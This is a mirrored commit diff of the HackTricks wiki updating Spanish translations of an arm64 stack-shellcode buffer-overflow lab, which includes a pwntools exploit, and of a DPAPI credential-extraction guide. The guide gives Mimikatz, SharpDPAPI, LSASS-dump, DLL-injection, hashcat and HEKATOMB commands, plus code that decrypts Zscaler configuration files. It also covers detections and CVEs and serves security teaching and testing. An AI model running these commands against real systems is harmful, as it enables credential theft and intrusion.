mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/stac
This commit is contained in:
parent
ab76362a33
commit
f48ef6305c
@ -8,7 +8,9 @@ Encuentra una introducción a arm64 en:
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code
|
||||
## Linux
|
||||
|
||||
### Code
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
@ -23,19 +25,19 @@ vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Compilar sin pie, canario y nx:
|
||||
Compilar sin pie, canary y nx:
|
||||
```bash
|
||||
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
|
||||
```
|
||||
## No ASLR & No canary - Stack Overflow
|
||||
### Sin ASLR y sin canary - Stack Overflow
|
||||
|
||||
Para detener ASLR, ejecuta:
|
||||
Para desactivar ASLR ejecuta:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
Para obtener el [**offset del bof revisa este enlace**](../ret2win/ret2win-arm64.md#finding-the-offset).
|
||||
Para obtener el [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
|
||||
|
||||
Explotar:
|
||||
Exploit:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,8 +68,21 @@ p.send(payload)
|
||||
# Drop to an interactive session
|
||||
p.interactive()
|
||||
```
|
||||
Lo único "complicado" que hay que encontrar aquí sería la dirección en la pila a la que llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego, al explotarlo, no funcionó (porque la dirección de la pila cambió un poco).
|
||||
La única cosa "complicada" de encontrar aquí sería la dirección en el stack a la que llamar. En mi caso generé el exploit con la dirección encontrada usando gdb, pero luego al usar el exploit no funcionó (porque la dirección del stack cambió un poco).
|
||||
|
||||
Abrí el generado **`core` archivo** (`gdb ./bog ./core`) y comprobé la dirección real del inicio del shellcode.
|
||||
|
||||
|
||||
## macOS
|
||||
|
||||
> [!TIP]
|
||||
> No es posible desactivar NX en macOS porque en arm64 este modo está implementado a nivel de hardware, por lo que no puedes desactivarlo, así que no encontrarás ejemplos con shellcode en stack en macOS.
|
||||
|
||||
Revisa un ejemplo macOS ret2win en:
|
||||
|
||||
{{#ref}}
|
||||
../ret2win/ret2win-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
Abrí el archivo **`core`** generado (`gdb ./bog ./core`) y verifiqué la dirección real del inicio del shellcode.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -6,33 +6,33 @@
|
||||
|
||||
## ¿Qué es DPAPI
|
||||
|
||||
La Data Protection API (DPAPI) se utiliza principalmente dentro del sistema operativo Windows para el **cifrado simétrico de claves privadas asimétricas**, aprovechando como fuente de entropía los secretos del usuario o del sistema. Este enfoque simplifica el cifrado para los desarrolladores al permitirles cifrar datos usando una clave derivada de los secretos de inicio de sesión del usuario o, para el cifrado a nivel de sistema, de los secretos de autenticación del dominio del sistema, evitando así que los desarrolladores tengan que gestionar la protección de la clave de cifrado por sí mismos.
|
||||
La API de Protección de Datos (DPAPI) se utiliza principalmente en el sistema operativo Windows para el **cifrado simétrico de claves privadas asimétricas**, aprovechando ya sean secretos de usuario o del sistema como una fuente significativa de entropía. Este enfoque simplifica el cifrado para los desarrolladores al permitirles cifrar datos usando una clave derivada de los secretos de inicio de sesión del usuario o, para el cifrado del sistema, los secretos de autenticación de dominio del sistema, evitando así que los desarrolladores tengan que gestionar la protección de la clave de cifrado ellos mismos.
|
||||
|
||||
La forma más común de usar DPAPI es a través de las funciones **`CryptProtectData` y `CryptUnprotectData`**, que permiten a las aplicaciones cifrar y descifrar datos de forma segura con la sesión del proceso que está actualmente conectado. Esto significa que los datos cifrados solo pueden ser descifrados por el mismo usuario o sistema que los cifró.
|
||||
La forma más común de usar DPAPI es mediante las funciones **`CryptProtectData` y `CryptUnprotectData`**, que permiten a las aplicaciones cifrar y descifrar datos de forma segura con la sesión del proceso que está actualmente iniciada. Esto significa que los datos cifrados solo pueden ser descifrados por el mismo usuario o sistema que los cifró.
|
||||
|
||||
Además, estas funciones aceptan también un **`entropy` parameter** que será utilizado durante el cifrado y descifrado, por lo tanto, para descifrar algo cifrado usando este parámetro, debes proporcionar el mismo valor de entropy que se usó durante el cifrado.
|
||||
Además, estas funciones aceptan también un **`entropy` parameter** que se usará durante el cifrado y descifrado; por lo tanto, para descifrar algo cifrado usando este parámetro, debes proporcionar el mismo valor de entropy que se usó durante el cifrado.
|
||||
|
||||
### Generación de la clave del usuario
|
||||
### Generación de la clave de usuario
|
||||
|
||||
DPAPI genera una clave única (llamada **`pre-key`**) para cada usuario basada en sus credenciales. Esta clave se deriva de la contraseña del usuario y otros factores, y el algoritmo depende del tipo de usuario pero termina siendo un SHA1. Por ejemplo, para usuarios de dominio, **depende del hash NTLM del usuario**.
|
||||
DPAPI genera una clave única (llamada **`pre-key`**) para cada usuario basada en sus credenciales. Esta clave se deriva de la contraseña del usuario y otros factores; el algoritmo depende del tipo de usuario pero termina siendo un SHA1. Por ejemplo, para usuarios de dominio, **depende del NTLM hash del usuario**.
|
||||
|
||||
Esto es especialmente interesante porque si un atacante puede obtener el hash de la contraseña del usuario, puede:
|
||||
|
||||
- **Descifrar cualquier dato que fue cifrado usando DPAPI** con la clave de ese usuario sin necesidad de contactar ninguna API
|
||||
- Intentar **crackear la contraseña** offline intentando generar la clave DPAPI válida
|
||||
- **Descifrar cualquier dato que haya sido cifrado usando DPAPI** con la clave de ese usuario sin necesitar contactar ninguna API
|
||||
- Intentar **crackear la contraseña** de forma offline intentando generar la clave DPAPI válida
|
||||
|
||||
Además, cada vez que un usuario cifra algún dato usando DPAPI, se genera una nueva **master key**. Esta master key es la que realmente se usa para cifrar los datos. A cada master key se le asigna un **GUID** (Globally Unique Identifier) que la identifica.
|
||||
Además, cada vez que un usuario cifra datos usando DPAPI, se genera una nueva **master key**. Esta master key es la que realmente se usa para cifrar los datos. A cada master key se le asigna un **GUID** (Identificador Único Global) que la identifica.
|
||||
|
||||
Las master keys se almacenan en el directorio **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, donde `{SID}` es el Security Identifier de ese usuario. La master key se almacena cifrada por la **`pre-key`** del usuario y también por una **domain backup key** para recuperación (por lo que la misma clave se almacena cifrada 2 veces con 2 contraseñas diferentes).
|
||||
Las master keys se almacenan en el directorio **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, donde `{SID}` es el Identificador de Seguridad de ese usuario. La master key se almacena cifrada por la **`pre-key`** del usuario y también por una **domain backup key** para recuperación (por lo que la misma clave se almacena cifrada 2 veces con 2 contraseñas diferentes).
|
||||
|
||||
Ten en cuenta que la **domain key usada para cifrar la master key está en los domain controllers y nunca cambia**, así que si un atacante tiene acceso al domain controller, puede recuperar la domain backup key y descifrar las master keys de todos los usuarios del dominio.
|
||||
|
||||
Los blobs cifrados contienen el **GUID of the master key** que se usó para cifrar los datos dentro de sus encabezados.
|
||||
Los blobs cifrados contienen el **GUID de la master key** que se usó para cifrar los datos dentro de sus cabeceras.
|
||||
|
||||
> [!TIP]
|
||||
> Los blobs cifrados por DPAPI comienzan con **`01 00 00 00`**
|
||||
|
||||
Find master keys:
|
||||
Encontrar claves maestras:
|
||||
```bash
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
|
||||
@ -83,7 +83,7 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
|
||||
```
|
||||
- Con privilegios de administrador local, es posible **acceder a la memoria de LSASS** para extraer las claves maestras DPAPI de todos los usuarios conectados y la clave SYSTEM.
|
||||
- Con privilegios de administrador local, es posible **acceder a la memoria de LSASS** para extraer las claves maestras de DPAPI de todos los usuarios conectados y la clave SYSTEM.
|
||||
```bash
|
||||
# Mimikatz
|
||||
mimikatz sekurlsa::dpapi
|
||||
@ -101,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe masterkeys /password:PASSWORD
|
||||
```
|
||||
- Si estás dentro de una sesión como el usuario, es posible solicitar al DC la **clave de respaldo para descifrar las claves maestras usando RPC**. Si eres administrador local y el usuario tiene la sesión iniciada, podrías **robar su token de sesión** para esto:
|
||||
- Si estás dentro de una sesión como el usuario, es posible pedirle al DC la **backup key to decrypt the master keys using RPC**. Si eres local admin y el usuario tiene la sesión iniciada, podrías **steal his session token** para esto:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
|
||||
@ -119,14 +119,14 @@ mimikatz vault::list
|
||||
```
|
||||
## Acceder a datos cifrados por DPAPI
|
||||
|
||||
### Encontrar datos cifrados por DPAPI
|
||||
### Buscar datos cifrados por DPAPI
|
||||
|
||||
Los **archivos protegidos** de usuarios comunes están en:
|
||||
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
|
||||
- También comprueba cambiando `\Roaming\` por `\Local\` en las rutas anteriores.
|
||||
- Check also changing `\Roaming\` to `\Local\` in the above paths.
|
||||
|
||||
Ejemplos de enumeración:
|
||||
```bash
|
||||
@ -135,7 +135,7 @@ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
```
|
||||
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) puede encontrar blobs cifrados por DPAPI en el sistema de archivos, el registro y blobs B64:
|
||||
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) puede encontrar blobs cifrados DPAPI en el sistema de archivos, el registro y blobs B64:
|
||||
```bash
|
||||
# Search blobs in the registry
|
||||
search /type:registry [/path:HKLM] # Search complete registry by default
|
||||
@ -150,11 +150,11 @@ search /type:file /path:C:\path\to\file
|
||||
# Search a blob inside B64 encoded data
|
||||
search /type:base64 [/base:<base64 string>]
|
||||
```
|
||||
Ten en cuenta que [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (del mismo repositorio) puede usarse para descifrar, usando DPAPI, datos sensibles como cookies.
|
||||
Ten en cuenta que [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (del mismo repo) puede usarse para descifrar, usando DPAPI, datos sensibles como cookies.
|
||||
|
||||
### Claves de acceso y datos
|
||||
|
||||
- **Usa SharpDPAPI** para obtener credenciales de archivos cifrados con DPAPI de la sesión actual:
|
||||
- **Usa SharpDPAPI** para obtener credenciales desde archivos cifrados con DPAPI de la sesión actual:
|
||||
```bash
|
||||
# Decrypt user data
|
||||
## Note that 'triage' is like running credentials, vaults, rdg and certificates
|
||||
@ -163,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
|
||||
# Decrypt machine data
|
||||
SharpDPAPI.exe machinetriage
|
||||
```
|
||||
- **Obtener información de credentials** como los encrypted data y el guidMasterKey.
|
||||
- **Obtener credentials info** como los datos cifrados y el guidMasterKey.
|
||||
```bash
|
||||
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
|
||||
|
||||
@ -173,9 +173,9 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
|
||||
pbData : b8f619[...snip...]b493fe
|
||||
[..]
|
||||
```
|
||||
- **Acceder a masterkeys**:
|
||||
- **Access masterkeys**:
|
||||
|
||||
Descifrar una masterkey de un usuario que solicita la **domain backup key** usando RPC:
|
||||
Descifrar un masterkey de un usuario que solicita la **domain backup key** usando RPC:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
|
||||
@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe masterkeys /rpc
|
||||
```
|
||||
La herramienta **SharpDPAPI** también admite estos argumentos para el descifrado de masterkeys (observa cómo es posible usar `/rpc` para obtener la clave de respaldo del dominio, `/password` para usar una contraseña en texto plano, o `/pvk` para especificar un archivo de clave privada de dominio DPAPI...):
|
||||
La herramienta **SharpDPAPI** también admite estos argumentos para el descifrado de la masterkey (fíjate cómo es posible usar `/rpc` para obtener la clave de respaldo del dominio, `/password` para usar una contraseña en texto plano, o `/pvk` para especificar un archivo de clave privada de dominio DPAPI...):
|
||||
```
|
||||
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
|
||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
@ -203,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
|
||||
```
|
||||
La herramienta **SharpDPAPI** también admite estos argumentos para el descifrado de `credentials|vaults|rdg|keepass|triage|blob|ps` (observa cómo es posible usar `/rpc` para obtener la clave de respaldo del dominio, `/password` para usar una contraseña en texto claro, `/pvk` para especificar un archivo de clave privada de dominio DPAPI, `/unprotect` para usar la sesión del usuario actual...):
|
||||
La herramienta **SharpDPAPI** también admite estos argumentos para el descifrado de `credentials|vaults|rdg|keepass|triage|blob|ps` (tenga en cuenta que es posible usar `/rpc` para obtener la clave de respaldo del dominio, `/password` para usar una contraseña en texto plano, `/pvk` para especificar un archivo de clave privada de dominio DPAPI, `/unprotect` para usar la sesión del usuario actual...):
|
||||
```
|
||||
Decryption:
|
||||
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
|
||||
@ -222,7 +222,7 @@ Targeting:
|
||||
Note: must use with /pvk:KEY or /password:X
|
||||
Note: not applicable to 'blob' or 'ps' commands
|
||||
```
|
||||
- Descifrar datos usando la **sesión de usuario actual**:
|
||||
- Descifrar algunos datos usando la **sesión del usuario actual**:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
|
||||
@ -231,11 +231,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
|
||||
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
||||
```
|
||||
---
|
||||
### Manejo de Optional Entropy ("Third-party entropy")
|
||||
### Manejo de la entropía opcional ("entropía de terceros")
|
||||
|
||||
Algunas aplicaciones pasan un valor adicional de **entropy** a `CryptProtectData`. Sin este valor el blob no puede ser descifrado, incluso si se conoce la masterkey correcta. Obtener la entropy es por tanto esencial cuando se apuntan credenciales protegidas de esta manera (p.ej., Microsoft Outlook, algunos clientes VPN).
|
||||
Algunas aplicaciones pasan un valor adicional de **entropía** a `CryptProtectData`. Sin este valor no es posible descifrar el blob, incluso si se conoce la clave maestra correcta. Por lo tanto, obtener la entropía es esencial cuando se atacan credenciales protegidas de esta manera (p. ej. Microsoft Outlook, algunos clientes VPN).
|
||||
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) es una DLL en modo usuario que hookea las funciones DPAPI dentro del proceso objetivo y registra de forma transparente cualquier entropy opcional que se suministre. Ejecutar EntropyCapture en modo **DLL-injection** contra procesos como `outlook.exe` o `vpnclient.exe` generará un archivo que mapea cada buffer de entropy al proceso llamante y al blob. La entropy capturada puede posteriormente suministrarse a **SharpDPAPI** (`/entropy:`) o **Mimikatz** (`/entropy:<file>`) para descifrar los datos.
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) es una DLL de modo usuario que hooks las funciones DPAPI dentro del proceso objetivo y registra de forma transparente cualquier entropía opcional que se suministre. Ejecutar EntropyCapture en modo **DLL-injection** contra procesos como `outlook.exe` o `vpnclient.exe` generará un archivo que mapea cada buffer de entropía con el proceso llamante y el blob. La entropía capturada puede luego ser suministrada a **SharpDPAPI** (`/entropy:`) o **Mimikatz** (`/entropy:<file>`) para descifrar los datos.
|
||||
```powershell
|
||||
# Inject EntropyCapture into the current user's Outlook
|
||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
@ -243,9 +243,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
# Later decrypt a credential blob that required entropy
|
||||
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||||
```
|
||||
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
|
||||
### Descifrado de masterkeys sin conexión (Hashcat & DPAPISnoop)
|
||||
|
||||
Microsoft introdujo un formato de masterkey **context 3** a partir de Windows 10 v1607 (2016). `hashcat` v6.2.6 (diciembre de 2023) añadió los hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) y **22102** (context 3), permitiendo el cracking acelerado por GPU de contraseñas de usuario directamente desde el archivo masterkey. Por lo tanto, los atacantes pueden realizar ataques word-list o brute-force sin interactuar con el sistema objetivo.
|
||||
Microsoft introdujo un formato de masterkey **context 3** a partir de Windows 10 v1607 (2016). `hashcat` v6.2.6 (diciembre de 2023) añadió los hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) y **22102** (context 3), permitiendo el cracking acelerado por GPU de contraseñas de usuario directamente desde el archivo masterkey. Por tanto, los atacantes pueden realizar ataques word-list o brute-force sin interactuar con el sistema objetivo.
|
||||
|
||||
`DPAPISnoop` (2024) automatiza el proceso:
|
||||
```bash
|
||||
@ -253,11 +253,11 @@ Microsoft introdujo un formato de masterkey **context 3** a partir de Windows 10
|
||||
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
|
||||
hashcat -m 22102 bob.hc wordlist.txt -O -w4
|
||||
```
|
||||
La herramienta también puede analizar blobs Credential y Vault, descifrarlos con claves crackeadas y exportar contraseñas en texto plano.
|
||||
La herramienta también puede analizar los Credential and Vault blobs, descifrarlos con cracked keys y exportar cleartext passwords.
|
||||
|
||||
### Acceder a datos de otra máquina
|
||||
|
||||
En **SharpDPAPI y SharpChrome** puedes indicar la opción **`/server:HOST`** para acceder a los datos de una máquina remota. Por supuesto necesitas poder acceder a esa máquina y en el siguiente ejemplo se supone que se conoce la **clave de cifrado de respaldo del dominio**:
|
||||
En **SharpDPAPI and SharpChrome** puedes indicar la opción **`/server:HOST`** para acceder a los datos de una máquina remota. Por supuesto necesitas poder acceder a esa máquina y en el siguiente ejemplo se supone que la **clave de cifrado de respaldo del dominio es conocida**:
|
||||
```bash
|
||||
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
|
||||
SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
@ -266,20 +266,20 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
|
||||
### HEKATOMB
|
||||
|
||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) es una herramienta que automatiza la extracción de todos los usuarios y equipos del directorio LDAP y la extracción de la clave de backup del domain controller a través de RPC. El script luego resolverá las direcciones IP de todos los equipos y realizará un smbclient en todos ellos para recuperar todos los DPAPI blobs de todos los usuarios y desencriptarlo todo con la domain backup key.
|
||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) es una herramienta que automatiza la extracción de todos los usuarios y equipos del directorio LDAP y la extracción de la clave de respaldo del domain controller a través de RPC. El script luego resolverá todas las direcciones IP de los equipos y ejecutará smbclient en todos los equipos para recuperar todos los blobs DPAPI de todos los usuarios y descifrar todo con la clave de respaldo del dominio.
|
||||
|
||||
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
||||
|
||||
¡Con la lista de equipos extraída del LDAP puedes encontrar todas las subredes aunque no las conocieras!
|
||||
Con la lista de equipos extraída del LDAP puedes encontrar cada subred incluso si no las conocías!
|
||||
|
||||
### DonPAPI 2.x (2024-05)
|
||||
|
||||
[**DonPAPI**](https://github.com/login-securite/DonPAPI) puede volcar secretos protegidos por DPAPI automáticamente. La versión 2.x introdujo:
|
||||
[**DonPAPI**](https://github.com/login-securite/DonPAPI) puede volcar secretos protegidos por DPAPI automáticamente. El lanzamiento 2.x introdujo:
|
||||
|
||||
* Recolección en paralelo de blobs desde cientos de hosts
|
||||
* Parsing de **context 3** masterkeys e integración automática con Hashcat para cracking
|
||||
* Soporte para cookies cifradas "App-Bound" de Chrome (ver la siguiente sección)
|
||||
* Un nuevo modo **`--snapshot`** para consultar repetidamente endpoints y diferenciar blobs recién creados
|
||||
* Recolección paralela de blobs desde cientos de hosts
|
||||
* Análisis de masterkeys de **context 3** e integración automática con cracking via Hashcat
|
||||
* Soporte para cookies cifradas "App-Bound" de Chrome (ver sección siguiente)
|
||||
* Un nuevo modo **`--snapshot`** para sondear endpoints repetidamente y diferenciar blobs recién creados
|
||||
|
||||
### DPAPISnoop
|
||||
|
||||
@ -289,21 +289,21 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
## Detecciones comunes
|
||||
|
||||
- Acceso a archivos en `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` y otros directorios relacionados con DPAPI.
|
||||
- Especialmente desde un recurso de red como **C$** o **ADMIN$**.
|
||||
- Uso de **Mimikatz**, **SharpDPAPI** u otras herramientas similares para acceder a la memoria de LSASS o volcar masterkeys.
|
||||
- Evento **4662**: *An operation was performed on an object* – puede correlacionarse con acceso al objeto **`BCKUPKEY`**.
|
||||
- Especialmente desde un recurso compartido de red como **C$** o **ADMIN$**.
|
||||
- Uso de **Mimikatz**, **SharpDPAPI** u herramientas similares para acceder a la memoria de LSASS o volcar masterkeys.
|
||||
- Evento **4662**: *Se realizó una operación sobre un objeto* – puede correlacionarse con el acceso al objeto **`BCKUPKEY`**.
|
||||
- Evento **4673/4674** cuando un proceso solicita *SeTrustedCredManAccessPrivilege* (Credential Manager)
|
||||
|
||||
---
|
||||
### Vulnerabilidades y cambios en el ecosistema 2023-2025
|
||||
|
||||
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (noviembre 2023). Un atacante con acceso a la red podría engañar a un miembro del dominio para que recuperara una DPAPI backup key maliciosa, permitiendo la desencriptación de masterkeys de usuario. Corregido en el cumulative update de noviembre de 2023 – los administradores deben asegurarse de que los DCs y estaciones estén completamente parcheados.
|
||||
* **Chrome 127 “App-Bound” cookie encryption** (julio 2024) reemplazó la protección legacy basada solo en DPAPI con una clave adicional almacenada en el **Credential Manager** del usuario. La desencriptación offline de cookies ahora requiere tanto el DPAPI masterkey como la **GCM-wrapped app-bound key**. SharpChrome v2.3 y DonPAPI 2.x son capaces de recuperar la clave adicional cuando se ejecutan con contexto de usuario.
|
||||
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (noviembre de 2023). Un atacante con acceso a la red podría engañar a un miembro del dominio para que recuperara una clave de respaldo DPAPI maliciosa, permitiendo el descifrado de masterkeys de usuario. Corregido en la actualización acumulativa de noviembre de 2023 – los administradores deben asegurarse de que los DCs y las estaciones de trabajo estén completamente parchadas.
|
||||
* **Chrome 127 “App-Bound” cookie encryption** (julio de 2024) reemplazó la protección heredada basada únicamente en DPAPI por una clave adicional almacenada en el **Credential Manager** del usuario. El descifrado offline de cookies ahora requiere tanto la masterkey de DPAPI como la **app-bound key envuelta en GCM**. SharpChrome v2.3 y DonPAPI 2.x son capaces de recuperar la clave adicional cuando se ejecutan con contexto de usuario.
|
||||
|
||||
|
||||
### Estudio de caso: Zscaler Client Connector – Entropía personalizada derivada del SID
|
||||
### Case Study: Zscaler Client Connector – Custom Entropy Derived From SID
|
||||
|
||||
Zscaler Client Connector almacena varios archivos de configuración en `C:\ProgramData\Zscaler` (p. ej. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Cada archivo está cifrado con **DPAPI (Machine scope)** pero el proveedor suministra una **entropía personalizada** que se *calcula en tiempo de ejecución* en lugar de almacenarse en disco.
|
||||
Zscaler Client Connector almacena varios archivos de configuración en `C:\ProgramData\Zscaler` (p. ej. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Cada archivo está cifrado con **DPAPI (Machine scope)** pero el proveedor suministra **custom entropy** que se *calcula en tiempo de ejecución* en lugar de almacenarse en disco.
|
||||
|
||||
La entropía se reconstruye a partir de dos elementos:
|
||||
|
||||
@ -325,15 +325,15 @@ byte[] entropy = new byte[tmp.Length / 2];
|
||||
for (int i = 0; i < entropy.Length; i++)
|
||||
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
|
||||
```
|
||||
Porque el secreto está incrustado en una DLL que puede leerse desde el disco, **cualquier atacante local con derechos SYSTEM puede regenerar la entropy para cualquier SID** y decrypt the blobs offline:
|
||||
Debido a que el secreto está embebido en una DLL que puede leerse desde el disco, **cualquier atacante local con privilegios SYSTEM puede regenerar la entropy para cualquier SID** y descifrar los blobs offline:
|
||||
```csharp
|
||||
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
|
||||
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
|
||||
Console.WriteLine(Encoding.UTF8.GetString(clear));
|
||||
```
|
||||
El descifrado devuelve la configuración JSON completa, incluyendo cada **device posture check** y su valor esperado — información muy valiosa a la hora de intentar client-side bypasses.
|
||||
El descifrado produce la configuración JSON completa, incluyendo cada **device posture check** y su valor esperado — información que es muy valiosa al intentar omitir comprobaciones del lado del cliente.
|
||||
|
||||
> TIP: los otros artefactos cifrados (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) están protegidos con DPAPI **sin** entropía (`16` zero bytes). Por lo tanto, pueden ser descifrados directamente con `ProtectedData.Unprotect` una vez que se obtienen privilegios SYSTEM.
|
||||
> TIP: los otros artefactos cifrados (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) están protegidos con DPAPI **sin** entropía (`16` bytes cero). Por lo tanto, pueden descifrarse directamente con `ProtectedData.Unprotect` una vez que se obtienen privilegios SYSTEM.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user